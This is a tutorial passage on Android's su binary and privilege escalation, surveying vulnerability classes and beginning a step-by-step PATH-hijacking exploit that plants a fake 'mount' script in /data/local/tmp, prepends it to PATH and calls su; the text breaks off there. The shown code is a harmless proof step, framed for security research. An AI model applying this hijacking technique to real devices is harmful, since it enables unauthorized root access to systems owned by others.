Introduction to Android `su` and Privilege Escalation

The journey to rooting an Android device often begins and ends with the mysterious `su` binary. Standing for ‘substitute user’, `su` is a fundamental Unix command that allows a user to run commands with the privileges of another user, typically the superuser (root). In the context of Android, a properly configured `su` binary is the gateway to full system control, granting applications and users elevated permissions that are otherwise locked down by Android’s robust security model.

Privilege escalation is the act of gaining unauthorized elevated access to resources that are normally protected. For Android, this usually means moving from an unprivileged user to the root user. While modern Android versions have significantly hardened the OS against such attacks, understanding how `su` vulnerabilities can be exploited is crucial for security researchers, penetration testers, and anyone interested in the inner workings of Android security. This guide will walk you through the theoretical and practical steps of crafting a hypothetical `su` binary exploit, specifically focusing on a common class of vulnerability: path hijacking.

Prerequisites for Exploitation

Tools and Environment

• ADB (Android Debug Bridge): Essential for interacting with your Android device or emulator.
• Android NDK (Native Development Kit): Required to compile native C/C++ code for Android’s architecture.
• C/C++ Compiler: Your host system needs a compatible C/C++ compiler.
• Linux Environment: A Linux-based operating system (Ubuntu, Debian, Kali, etc.) is highly recommended for building and deploying.
• Vulnerable Android Device/Emulator: For practical testing, you’d need an Android device or emulator running a version with a known or simulated `su` vulnerability.

Foundational Knowledge

• C/C++ Programming: Familiarity with C/C++ is vital for writing exploit code.
• Linux Command Line: Proficiency with basic Linux commands (file manipulation, process management, environment variables) is a must.
• Basic Android Architecture: Understanding of Android’s file system, user IDs (UIDs), and process execution model.
• SUID and Capabilities: Knowledge of SUID (Set User ID) bit and Linux capabilities is critical for comprehending how `su` operates securely.

Deconstructing `su`: A Look at Common Vulnerabilities

At its core, the `su` binary is designed to be a highly privileged executable. It typically has the SUID bit set, meaning it runs with the effective user ID of its owner (usually root) regardless of who executes it. To maintain security, `su` implementations must meticulously manage these elevated privileges. Key security mechanisms include:

• Dropping Capabilities: `su` should selectively drop unnecessary Linux capabilities (e.g., `CAP_SYS_ADMIN`) as soon as possible.
• Sanitizing Environment Variables: Potentially dangerous environment variables like `PATH`, `LD_PRELOAD`, `IFS` must be cleared or carefully controlled to prevent injection attacks.
• Secure Execution: When executing child processes or external commands, `su` must ensure these are called with absolute paths and appropriate permissions.

However, even well-intentioned implementations can harbor vulnerabilities. Common vulnerability classes include:

• Path Hijacking: Occurs when `su` executes an external command (e.g., `mount`, `ls`) without specifying its absolute path, and fails to sanitize the `PATH` environment variable. An attacker can then inject a malicious binary by placing it earlier in the `PATH`.
• Race Conditions (TOCTOU – Time-Of-Check To Time-Of-Use): Involve manipulating a file or resource between the time `su` checks its properties (e.g., permissions, existence) and the time it uses it. This can lead to symlink attacks or file overwrites.
• Argument Injection: Flaws in parsing user-supplied arguments can allow attackers to pass malicious flags to underlying commands executed by `su`.
• Improper Capability Handling: Retaining too many capabilities or not dropping them correctly can provide an attacker with unintended privileges.

For this tutorial, we will focus on a **Path Hijacking** vulnerability. We will simulate a scenario where a custom `su` binary, after performing its initial privilege checks, calls a common utility (like `mount`) without an absolute path, and critically, fails to fully sanitize the `PATH` environment variable inherited from the unprivileged user.

Step-by-Step: Crafting Your `su` Exploit

Phase 1: Vulnerability Identification (A Hypothetical Scenario)

Let’s imagine, through meticulous reverse engineering or dynamic analysis (e.g., using `strace` on a rooted test device), we’ve examined a specific, older vendor-modified `su` binary. We observe that after successful authentication, it makes internal calls like `execvp(“mount”, …)` or `system(“mount …”)` to perform routine system tasks. The key here is the use of `execvp` or `system` without fully qualified paths, implying that the system’s `PATH` environment variable will be consulted to locate the `mount` binary.

We can confirm this `PATH` vulnerability by attempting to inject our own program. First, let’s create a simple test script:

#!/system/bin/sh
echo "Malicious mount executed!"
/system/bin/mount "$@"

Save this as `mount` in `/data/local/tmp` on your Android device. Then, from an unprivileged `adb shell`:

adb shell
cd /data/local/tmp
echo '#!/system/bin/sh' > mount
echo 'echo "Malicious mount executed!"' >> mount
echo '/system/bin/mount "$@"' >> mount
chmod 755 mount
export PATH=/data/local/tmp:$PATH
su -c 'mount'

If the `su` command outputs